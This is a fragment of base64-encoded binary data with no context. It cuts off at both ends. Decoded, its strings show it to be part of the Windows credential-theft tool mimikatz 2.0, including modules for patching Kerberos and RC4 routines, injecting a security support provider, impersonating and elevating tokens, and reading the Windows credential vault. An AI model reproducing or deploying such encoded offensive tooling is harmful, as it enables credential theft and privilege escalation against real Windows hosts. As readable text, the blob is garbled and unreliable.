wBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAHIAZQBhAGwAIABhAHMAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAExvY2FsQWxsb2MAAAAAAABrAGQAYwBzAHYAYwAuAGQAbABsAAAAAABbAEsARABDAF0AIABkAGEAdABhAAoAAABbAEsARABDAF0AIABzAHQAcgB1AGMAdAAKAAAAAAAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAAAAAAAAWwBSAEMANABdACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAAAAAAAAAFsAUgBDADQAXQAgAGkAbgBpAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAcgBlAGEAdABlACAAcgBlAG0AbwB0AGUAIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABnAHIAbwB1AHAAAAAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAbgBlAHQAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIABCAHUAaQBsAHQAaQBuACAAKAA/ACkAIAAlADAAOAB4AAoAAAAKAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgADoAIAAlAHcAWgAAAAAACgBEAG8AbQBhAGkAbgAgAFMASQBEACAAIAA6ACAAAAAKACAAJQAtADUAdQAgACUAdwBaAAAAAAAKACAAfAAgACUALQA1AHUAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABHAHIAbwB1AHAAcwBGAG8AcgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAAoAIAB8AGAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEEAbABpAGEAcwBNAGUAbQBiAGUAcgBzAGgAaQBwACAAJQAwADgAeAAAAAAACgAgAHwAtAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUgBpAGQAVABvAFMAaQBkACAAJQAwADgAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAAAAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZABlAGIAdQBnAAAAAAAAAFAAcgBpAHYAaQBsAGUAZwBlACAAbQBvAGQAdQBsAGUAAAAAAAAAAABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgACcAJQB1ACcAIABPAEsACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AcwBpAG0AcABsAGUAIAA7ACAAUgB0AGwAQQBkAGoAdQBzAHQAUAByAGkAdgBpAGwAZQBnAGUAIAAoACUAdQApACAAJQAwADgAeAAKAAAAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAAByAGUAcwB1AG0AZQAAAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAHMAdQBzAHAAZQBuAGQAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAAAAAAFMAdABhAHIAdAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AGEAcgB0AAAAAAAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAAAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABlAHgAcABvAHIAdABzAAAAAAAAAAAAZQB4AHAAbwByAHQAcwAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHMAdABhAHIAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgB0AFQAZQByAG0AaQBuAGEAdABlAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABTAHUAcwBwAGUAbgBkAFAAcgBvAGMAZQBzAHMAAAAAAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAcABpAGQAIAAoAC8AcABpAGQAOgAxADIAMwApACAAaQBzACAAbQBpAHMAcwBpAG4AZwAAAAAAAAAlAHUACQAlAHcAWgAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBvAHAAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACUAdwBaAAAAAAAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAJQBTAAAAAAAAAAAAIwAlAHUAAABMAGkAcwB0ACAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAFMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAAAAAAAAAABzAGgAdQB0AGQAbwB3AG4AAAAAAAAAAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAcAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUgBlAHMAdQBtAGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHUAcwBwAGUAbgBkACAAcwBlAHIAdgBpAGMAZQAAAFMAdABvAHAAIABzAGUAcgB2AGkAYwBlAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHQAYQByAHQAIABzAGUAcgB2AGkAYwBlAAAAAAAAAFMAZQByAHYAaQBjAGUAIABtAG8AZAB1AGwAZQAAAAAAJQBzACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAFMAZQByAHYAaQBjAGUAIABvAHAAZQByAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABJAG4AagBlAGMAdAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAAcwBlAHIAdgBpAGMAZQAgAG4AYQBtAGUAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAUwB0AGEAcgB0AGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGkAbgBnAAAAAAAAAAAAUwB0AG8AcABwAGkAbgBnAAAAAAAAAAAAUwB1AHMAcABlAG4AZABpAG4AZwAAAAAAUgBlAHMAdQBtAGkAbgBnAAAAAAAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAcwBlAHIAdgBpAGMAZQBzAC4AZQB4AGUAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZQByAHIAbwByACAAJQB1AAoAAAAAAAAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBpAHQAaABvAHUAdAAgAFMAYwBTAGUAbgBkAEMAbwBuAHQAcgBvAGwACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABNAGEAcgBrACAAYQBiAG8AdQB0ACAAUAB0AEgAAAAAAG0AYQByAGsAcgB1AHMAcwAAAAAAAAAAAEMAaABhAG4AZwBlACAAbwByACAAZABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABkAGkAcgBlAGMAdABvAHIAeQAAAGMAZAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAAAAAAAAdgBlAHIAcwBpAG8AbgAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIABmAGkAbABlACAAbwB1AHQAcAB1AHQALwBiAGEAcwBlADYANAAgAG8AdQB0AHAAdQB0AAAAAAAAAAAAYgBhAHMAZQA2ADQAAAAAAAAAAAAAAAAATABvAGcAIABtAGkAbQBpAGsAYQB0AHoAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAHQAbwAgAGYAaQBsAGUAAAAAAAAAAAAAAAAAAABTAGwAZQBlAHAAIABhAG4AIABhAG0AbwB1AG4AdAAgAG8AZgAgAG0AaQBsAGwAaQBzAGUAYwBvAG4AZABzAAAAcwBsAGUAZQBwAAAAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAAAAAAAAYwBvAGYAZgBlAGUAAAAAAAAAAAAAAAAAQQBuAHMAdwBlAHIAIAB0AG8AIAB0AGgAZQAgAFUAbAB0AGkAbQBhAHQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAG8AZgAgAEwAaQBmAGUALAAgAHQAaABlACAAVQBuAGkAdgBlAHIAcwBlACwAIABhAG4AZAAgAEUAdgBlAHIAeQB0AGgAaQBuAGcAAAAAAAAAYQBuAHMAdwBlAHIAAAAAAEMAbABlAGEAcgAgAHMAYwByAGUAZQBuACAAKABkAG8AZQBzAG4AJwB0ACAAdwBvAHIAawAgAHcAaQB0AGgAIAByAGUAZABpAHIAZQBjAHQAaQBvAG4AcwAsACAAbABpAGsAZQAgAFAAcwBFAHgAZQBjACkAAAAAAGMAbABzAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAAAAAABlAHgAaQB0AAAAAAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAAAAAAAAUwB0AGEAbgBkAGEAcgBkACAAbQBvAGQAdQBsAGUAAABzAHQAYQBuAGQAYQByAGQAAAAAAAAAAABCAHkAZQAhAAoAAAAAAAAANAAyAC4ACgAAAAAAAAAAAAAAAAAAAAAACgAgACAAIAAgACgAIAAoAAoAIAAgACAAIAAgACkAIAApAAoAIAAgAC4AXwBfAF8AXwBfAF8ALgAKACAAIAB8ACAAIAAgACAAIAAgAHwAXQAKACAAIABcACAAIAAgACAAIAAgAC8ACgAgACAAIABgAC0ALQAtAC0AJwAKAAAAAABTAGwAZQBlAHAAIAA6ACAAJQB1ACAAbQBzAC4ALgAuACAAAAAAAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAAAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGYAbwByACAAbABvAGcAZgBpAGwAZQAgADoAIAAlAHMACgAAAAAAAAAAAHQAcgB1AGUAAAAAAAAAAABmAGEAbABzAGUAAAAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAdwBhAHMAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAGkAcwAgAG4AbwB3ACAAOgAgACUAcwAKAAAAAAA2ADQAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADAAIABhAGwAcABoAGEAIAAoAGEAcgBjAGgAIAB4ADYANAApAAoATgBUACAAIAAgACAAIAAtACAAIABXAGkAbgBkAG8AdwBzACAATgBUACAAJQB1AC4AJQB1ACAAYgB1AGkAbABkACAAJQB1ACAAKABhAHIAYwBoACAAeAAlAHMAKQAKAAAAAABDAHUAcgA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgBlAHcAOgAgACUAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABTAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAG8AcgByAHkAIAB5AG8AdQAgAGcAdQB5AHMAIABkAG8AbgAnAHQAIABnAGUAdAAgAGkAdAAuAAoAAAAAAAAAVQBuAGsAbgBvAHcAbgAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAAAAAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAByAGUAdgBlAHIAdAAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAGUAbABlAHYAYQB0AGUAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAAAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAAAAAAB3AGgAbwBhAG0AaQAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAAAAAAB0AG8AawBlAG4AAAAAAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwB5AHMAdABlAG0AAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABOAG8AIAB1AHMAZQByAG4AYQBtAGUAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaABlAG4AIABTAFkAUwBUAEUATQAKAAAAVABvAGsAZQBuACAASQBkACAAIAA6ACAAJQB1AAoAVQBzAGUAcgAgAG4AYQBtAGUAIAA6ACAAJQBzAAoAUwBJAEQAIABuAGEAbQBlACAAIAA6ACAAAAAAACUAcwBcACUAcwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAGwAbwBjAGEAbABfAGQAbwBtAGEAaQBuAF8AdQBzAGUAcgBfAEMAcgBlAGEAdABlAFcAZQBsAGwASwBuAG8AdwBuAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwByAGUAdgBlAHIAdAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACUALQAxADAAdQAJAAAAAAAlAHMAXAAlAHMACQAlAHMAAAAAAAAAAAAJACgAJQAwADIAdQBnACwAJQAwADIAdQBwACkACQAlAHMAAAAAAAAAIAAoACUAcwApAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAlAHUACQAAACAALQA+ACAASQBtAHAAZQByAHMAbwBuAGEAdABlAGQAIAAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAGwAbABvAHcAIABtAHUAbAB0AGkAcABsAGUAcwAgAHUAcwBlAHIAcwAAAAAAAABtAHUAbAB0AGkAcgBkAHAAAAAAAAAAAABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAG0AbwBkAHUAbABlAAAAAAB0AHMAAAAAAHQAZQByAG0AcwByAHYALgBkAGwAbAAAAFQAZQByAG0AUwBlAHIAdgBpAGMAZQAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGQAbwBtAGEAaQBuAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABkAG8AbQBhAGkAbgBfAHAAYQBzAHMAdwBvAHIAZAAAAGcAZQBuAGUAcgBpAGMAAABCAGkAbwBtAGUAdAByAGkAYwAAAAAAAABQAGkAYwB0AHUAcgBlACAAUABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAUABpAG4AIABMAG8AZwBvAG4AAAAAAAAARABvAG0AYQBpAG4AIABFAHgAdABlAG4AZABlAGQAAABEAG8AbQBhAGkAbgAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAARABvAG0AYQBpAG4AIABQAGEAcwBzAHcAbwByAGQAAABjAHIAZQBkAAAAAAAAAAAAVwBpAG4AZABvAHcAcwAgAFYAYQB1AGwAdAAvAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABtAG8AZAB1AGwAZQAAAHYAYQB1AGwAdAAAAAAAAAB2AG